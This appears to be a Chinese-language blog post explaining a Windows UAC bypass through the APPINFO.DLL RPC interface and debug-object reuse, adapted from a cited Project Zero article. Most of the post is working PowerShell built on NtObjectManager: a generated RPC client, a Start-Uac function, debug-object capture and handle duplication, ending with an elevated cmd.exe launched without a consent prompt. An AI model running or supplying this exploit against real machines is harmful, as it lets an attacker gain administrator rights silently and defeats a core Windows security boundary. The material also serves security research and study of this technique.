備戰一個月比賽,導致近期都沒啥時間更新博客,正好今天看到一篇通過調用本地RPC服務的文章,覺得非常有意思,就拿來充充博客。
在1.0版本的APPINFO.DLL中的RPC服務調用接口ID為:201ef99a-7fa0-444c-9399-19ba84f12a1a
用RAiLaunchAdminProcess函數調用本地RPC
[ uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a), version(1.0), ]
long RAiLaunchAdminProcess( handle_t hBinding, [in][unique][string] wchar_t* ExecutablePath, [in][unique][string] wchar_t* CommandLine, [in] long StartFlags, [in] long CreateFlags, [in][string] wchar_t* CurrentDirectory, [in][string] wchar_t* WindowStation, [in] struct APP_STARTUP_INFO* StartupInfo, [in] unsigned __int3264 hWnd, [in] long Timeout, [out] struct APP_PROCESS_INFORMATION* ProcessInformation, [out] long *ElevationType );
ALPC(高級本地過程調用)調用原理圖:
畫的有點水,大概就是如上圖所示
UAC步驟
1.利用RAiLaunchAdminProcess設置StartFlags標志為0並設置DEBUG_PROCESS來創建一個新的non-elevated進程。這將在服務器中RPC線程的TEB中初始化debug對象字段,並將其分配給新進程。
2.使用帶有返回的進程句柄的NtQueryInformationProcess打開調試對象的句柄。
3.分離調試器並終止不再需要的新進程
4.通過RAiLaunchAdminProcess與StartFlags設置為1來創建一個新的提升進程,設置DEBUG_PROCESS標志 。由於已經初始化了TEB中的debug對象字段,因此將在步驟2中捕獲的現有對象分配給了新進程。
5.檢索初始調試事件,該事件將返回完整的訪問進程句柄。
6.使用新的進程句柄代碼,可以將其注入提升的進程中,從而完成UAC Bypass。
首先放上powershell的利用過程:
首先利用powershell的NtObjectManager模塊,可以通過
Install-Module "NtObjectManager" -Scope CurrentUser
安裝NtObjectManager模塊,如果模塊存在可以通過以下命令更新
Update-Module -Name NtObjectManager
然后解析APPINFO.DLL提取所有的RPC服務
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" ` | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
可以通過
Get-RpcServerName $rpc
生成一個XML文件
這里用修改后的測試文件

<RpcServerNameData xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager"> <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId> <InterfaceMajorVersion>1</InterfaceMajorVersion> <InterfaceMinorVersion>0</InterfaceMinorVersion> <Procedures> <NdrProcedureNameData> <Index>0</Index> <Name>RAiLaunchAdminProcess</Name> <Parameters> <NdrProcedureParameterNameData> <Index>10</Index> <Name>ProcessInformation</Name> </NdrProcedureParameterNameData> </Parameters> </NdrProcedureNameData> </Procedures> <Structures> <NdrStructureNameData> <Index>0</Index> <Members/> <Name>APP_STARTUP_INFO</Name> </NdrStructureNameData> <NdrStructureNameData> <Index>2</Index> <Members> <NdrStructureMemberNameData> <Index>0</Index> <Name>ProcessHandle</Name> </NdrStructureMemberNameData> </Members> <Name>APP_PROCESS_INFORMATION</Name> </NdrStructureNameData> </Structures> </RpcServerNameData>
將文件保存為names.xml
Get-Content "names.xml" | Set-RpcServerName $rpc
可以通過上述命令將xml文件內容應用於$rpc對象
最后創建客戶端新實例,它生成一個C#源代碼,並編譯成臨時程序集
$client = Get-RpcClient $rpc
可以通過Format-RpcClient函數查看生成的C#源代碼
將客戶端鏈接到本地RPC服務器的ALPC端口
Connect-RpcClient $client
接下來定義一個函數,里面實現了RAiLaunchAdminProcess方法的調用,該函數返回一個NtProcess對象,該對象可用於訪問創建進程的屬性
function Start-Uac { Param( [Parameter(Mandatory, Position = 0)] [string]$Executable, [switch]$RunAsAdmin ) $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor ` [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment $StartInfo = $client.New.APP_STARTUP_INFO() $result = $client.RAiLaunchAdminProcess($Executable, $Executable,` [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,` "C:\", "WinSta0\Default", $StartInfo, 0, -1) if ($result.retval -ne 0) { $ex = [System.ComponentModel.Win32Exception]::new($result.retval) throw $ex } $h = $result.ProcessInformation.ProcessHandle.Value Get-NtObjectFromHandle $h -OwnsHandle }
創建一個進程並捕獲debug對象,一旦獲取調試對象,要將調試器與進程分離。
$p = Start-Uac "c:\windows\system32\notepad.exe" $dbg = Get-NtDebug -Process $p Stop-NtProcess $p Remove-NtDebugProcess $dbg -Process $p
創建一個提升的進程,發現分配給提升進程的調試對象與剛才創建的調試對象相同。現在,我們在調試對象上發出等待,從中可以提取到特權進程句柄。
但因為初始調試的句柄沒有完全特權,得使用Copy-NtObject從提升的進程中復制當前進程的偽句柄(-1),從而獲取完全特權句柄。
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin $ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg $h = [IntPtr]-1 $new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h Remove-NtDebugProcess $dbg -Process $new_p
此時再以$new_p為父進程生成一個特權權限的cmd進程
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
參考鏈接:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html